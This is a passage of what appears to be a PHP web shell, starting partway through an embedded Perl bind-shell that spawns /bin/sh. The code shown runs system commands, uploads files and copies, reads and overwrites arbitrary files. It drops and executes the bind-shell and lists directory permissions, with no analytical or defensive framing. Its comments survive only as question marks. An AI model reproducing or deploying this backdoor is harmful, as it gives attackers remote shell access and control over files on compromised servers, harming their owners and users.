&X\";
open STDERR, \">&X\";
close X;
exec(\"/bin/sh\");
}
close X;
}
";
function decode($buffer){
return convert_cyr_string ($buffer, d, w);
}
/*??????????*/
/*????????? ??? ???????*/
$servsoft = $_SERVER['SERVER_SOFTWARE'];
if (ereg("Win32", $servsoft, $reg)){
$sertype = "winda";
}
else
{
$sertype = "other";}
echo $servsoft . " ";
chdir($dir);
echo "Total space " . (int)(disk_total_space(getcwd())/(1024*1024)) . "Mb " . "Free space " . (int)(disk_free_space(getcwd())/(1024*1024)) . "Mb ";
if ($sertype == "winda"){
ob_start('decode');
echo "Version: ";
echo passthru("ver") . "
";
ob_end_flush();
}
if ($sertype == "other"){
echo "id:";
echo passthru("id") . " ";
echo "uname:";
echo passthru("uname -a") . "
";
}
if($_POST['post'] == "yes" and $HTTP_POST_FILES["userfile"][name] !== "")
{
copy($HTTP_POST_FILES["userfile"]["tmp_name"],$HTTP_POST_FILES["userfile"]["name"]);
}
if(($_POST['fileto'] != "")||($_POST['filefrom'] != ""))
{
$data = implode("", file($_POST['filefrom']));
$fp = fopen($_POST['fileto'], "wb");
fputs($fp, $data);
$ok = fclose($fp);
if($ok)
{
$size = filesize($_POST['fileto'])/1024;
$sizef = sprintf("%.2f", $size);
print "Download - OK. (".$sizef."??) ";
}
else
{
print "Something is wrong. Download - IS NOT OK ";
}
}
if ($_POST['installbind']){
if (is_dir($_POST['installpath']) == true){
chdir($_POST['installpath']);
$_POST['installpath'] = "temp.pl";}
$fp = fopen($_POST['installpath'], "w");
fwrite($fp, $bind);
fclose($fp);
exec("perl " . $_POST['installpath']);
chdir($dir);
}
if ($_POST['editfile']){
$fp = fopen($_POST['editfile'], "r");
$filearr = file($_POST['editfile']);
foreach ($filearr as $string){
$string = str_replace("<" , "<" , $string);
$string = str_replace(">" , ">" , $string);
$content = $content . $string;
}
echo "Edit file: $editfile ";
fclose($fp);
}
if($_POST['savefile']){
$fp = fopen($_POST['savefile'], "w");
$content = stripslashes($content);
fwrite($fp, $content);
fclose($fp);
echo "Successfully saved! ";
}
if ($cmd){
echo "";
}else{
$arr = array();
$arr = array_merge($arr, glob("*"));
$arr = array_merge($arr, glob(".*"));
$arr = array_merge($arr, glob("*.*"));
$arr = array_unique($arr);
sort($arr);
echo "| Name | Type | Size | Last access | Last change | Perms | Write | Read | ";
foreach ($arr as $filename) {
if ($filename != "." and $filename != ".."){
if (is_dir($filename) == true){
$directory = "";
$directory = $directory . "| $filename | " . filetype($filename) . " | | " . date("G:i j M Y",fileatime($filename)) . " | " . date("G:i j M Y",filemtime($filename)) . " | " . fileperms($filename);
if (is_writable($filename) == true){
$directory = $directory . " | Yes | ";}
else{
$directory = $directory . "No | ";
}
if (is_readable($filename) == true){
$directory = $directory . "Yes | ";}
else{
$directory = $directory . "No | ";
}
$dires = $dires . $directory;
}
if (is_file($filename) == true){
$file = "";
$file = $file . " | $filename | " . filetype($filename) . " | " . filesize($filename) . " | " . date("G:i j M Y",fileatime($filename)) . " | " . date("G:i j M Y",filemtime($filename)) . " | " . fileperms($filename);
if (is_writable($filename) == true){
$file = $file . " | Yes | ";}
else{
$file = $file . "No | ";
}
if (is_readable($filename) == true){
$file = $file . "Yes | ";}
else{
$file = $file . "No | ";
}
$files = $files . $file;
}
}
}
echo $dires;
echo $files;
echo "
";
}
echo "
";
if (ini_get('safe_mode') == 1){echo " SAFE MOD IS ON
Including from here: "
. ini_get('safe_mode_include_dir') . " Exec here: " . ini_get('safe_mode_exec_dir'). "";}
echo "";
echo "";
echo "";
echo "";
?>
|